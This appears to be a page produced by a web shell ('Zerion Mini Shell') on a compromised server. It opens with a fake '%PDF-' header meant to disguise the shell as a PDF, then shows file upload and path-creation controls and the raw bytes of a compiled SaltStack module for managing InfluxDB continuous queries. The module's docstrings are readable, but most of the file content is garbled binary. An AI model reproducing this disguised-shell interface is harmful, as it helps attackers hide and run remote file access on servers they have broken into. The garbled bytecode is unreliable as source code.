%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/lib/python2.7/site-packages/salt/states/
Upload File :
Create Path :
Current File : //usr/lib/python2.7/site-packages/salt/states/influxdb_continuous_query.pyc

�
���^c@@sGdZddlmZmZmZd�Zddd�Zd�ZdS(u�
Management of Influxdb continuous queries
=========================================

.. versionadded:: 2017.7.0

(compatible with InfluxDB version 0.9+)
i(tabsolute_importtprint_functiontunicode_literalscC@sdtkrdStS(u7
    Only load if the influxdb module is available
    uinfluxdb.db_existsuinfluxdb_continuous_query(t__salt__tFalse(((sI/usr/lib/python2.7/site-packages/salt/states/influxdb_continuous_query.pyt__virtual__scK@s�i|d6id6td6dj|�d6}tdd|d||�s�td	rrd|d<d
j|�|d<|Std|||||�r�dj|�|d<d
|d|<|Sdj|�|d<t|d<|Sn|S(uu
    Ensure that given continuous query is present.

    name
        Name of the continuous query to create.

    database
        Database to create continuous query on.

    query
        The query content

    resample_time : None
        Duration between continuous query resampling.

    coverage_period : None
        Duration specifying time period per sample.
    unameuchangesuresultu'continuous query {0} is already presentucommentu influxdb.continuous_query_existstnametdatabaseutestu" {0} is absent and will be createdu influxdb.create_continuous_queryu%continuous query {0} has been createduPresentu%Failed to create continuous query {0}N(tTruetformatRt__opts__tNoneR(RRtqueryt
resample_timetcoverage_periodtclient_argstret((sI/usr/lib/python2.7/site-packages/salt/states/influxdb_continuous_query.pytpresents.
	





cK@s�i|d6id6td6dj|�d6}td|||�r�tdrld
|d<dj|�|d<|Std	|||�r�d
j|�|d<d|d|<|Sdj|�|d<t|d<|Sn|S(u�
    Ensure that given continuous query is absent.

    name
        Name of the continuous query to remove.

    database
        Name of the database that the continuous query was defined on.
    unameuchangesuresultu#continuous query {0} is not presentucommentu influxdb.continuous_query_existsutestu7continuous query {0} is present and needs to be removeduinfluxdb.drop_continuous_queryu%continuous query {0} has been removeduAbsentu%Failed to remove continuous query {0}N(RR	RR
RR(RRRR((sI/usr/lib/python2.7/site-packages/salt/states/influxdb_continuous_query.pytabsentHs(







N(	t__doc__t
__future__RRRRRRR(((sI/usr/lib/python2.7/site-packages/salt/states/influxdb_continuous_query.pyt<module>	s		0

Zerion Mini Shell 1.0